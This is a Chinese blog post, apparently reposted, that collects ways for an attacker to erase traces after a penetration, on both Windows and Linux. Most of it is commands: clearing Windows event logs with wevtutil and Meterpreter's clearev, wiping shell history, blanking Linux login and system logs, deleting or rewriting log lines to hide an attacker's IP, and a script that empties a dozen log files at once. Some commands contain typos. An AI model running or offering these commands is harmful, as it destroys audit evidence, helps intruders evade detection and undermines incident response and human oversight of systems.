后渗透阶段清理痕迹方式总结

作者:Leticia

文章来源:Leticia‘s Blog

一、前言

在渗透完成之后,为了减少被发现和追溯的概率,攻击者有必要清除自己的攻击痕迹,本文分别对windows和linux上清理痕迹的方式做一个总结。

二、windows

有远程桌面权限时手动删除日志:

1

开始-程序-管理工具-计算机管理-系统工具-事件查看器-清除日志

wevtutil:

1

2

3

4

wevtutil el            列出系统中所有日志名称

wevtutil cl system      清理系统日志

wevtutil cl application 清理应用程序日志

wevtutil cl security    清理安全日志

meterperter自带清除日志功能:

1

clearev    清除windows中的应用程序日志、系统日志、安全日志

清除recent:

在文件资源管理器中点击“查看”->“选项”->在常规->隐私中点击”清除”按钮

或直接打开C:\Users\Administrator\Recent并删除所有内容

或在命令行中输入del /f /s /q “%userprofile%\Recent*.*

三、linux

清除命令历史记录

1

2

3

4

histroy -r          #删除当前会话历史记录

history -c          #删除内存中的所有命令历史

rm .bash_history  #删除历史文件中的内容

HISTZISE=0          #通过设置历史命令条数来清除所有历史记录

在隐蔽的位置执行命令

使用vim打开文件执行命令

1

2

:set history=0

:!command

linux日志文件

1

2

3

4

5

6

7

8

9

10

11

/var/run/utmp 记录现在登入的用户

/var/log/wtmp 记录用户所有的登入和登出

/var/log/lastlog 记录每一个用户最后登入时间

/var/log/btmp 记录错误的登入尝试

/var/log/auth.log 需要身份确认的操作

/var/log/secure 记录安全相关的日志信息

/var/log/maillog 记录邮件相关的日志信息

/var/log/message 记录系统启动后的信息和错误日志

/var/log/cron 记录定时任务相关的日志信息

/var/log/spooler 记录UUCP和news设备相关的日志信息

/var/log/boot.log 记录守护进程启动和停止相关的日志消息

完全删除日志文件:

1

2

3

4

5

cat /dev/null > filename

: > filename

> filename

echo "" > filename

echo > filename

针对性删除日志文件:

1

2

删除当天日志

sed  -i '/当天日期/'d  filename

篡改日志文件:

1

2

将所有170.170.64.17ip替换为127.0.0.1

sed -i 's/170.170.64.17/127.0.0.1/g'

一键清除脚本:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

#!/usr/bin/bash

echo > /var/log/syslog

echo > /var/log/messages

echo > /var/log/httpd/access_log

echo > /var/log/httpd/error_log

echo > /var/log/xferlog

echo > /var/log/secure

echo > /var/log/auth.log

echo > /var/log/user.log

echo > /var/log/wtmp

echo > /var/log/lastlog

echo > /var/log/btmp

echo > /var/run/utmp

rm ~/./bash_history

history -c

如侵权请私聊删文

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 系统有关方面复习 往lftp上传文件yum -y install lftp把上传文件放到跟下put 文件名 清除b...
    事常与人为事总在人为阅读 3,892评论 0 1
  • 命令总结之系统篇 更新时间:2017年6月11日-由于资料过多可能会分很多篇章 alias 功能说明:设置命令的别...
    数据革命阅读 4,300评论 0 0
  • Shell 初识 一、程序 1、什么是程序 程序是为实现特定目标或解决特定问题而用计算机语言编写的命令序列的集合。...
    kobe_liu阅读 2,905评论 0 0
  • Linux命令行与脚本编程大全:https://pan.baidu.com/s/1WaIdrL4H8UmVBDdq...
    Danielyep阅读 4,077评论 0 0
  • linux资料总章2.1 1.0写的不好抱歉 但是2.0已经改了很多 但是错误还是无法避免 以后资料会慢慢更新 大...
    数据革命阅读 14,187评论 2 33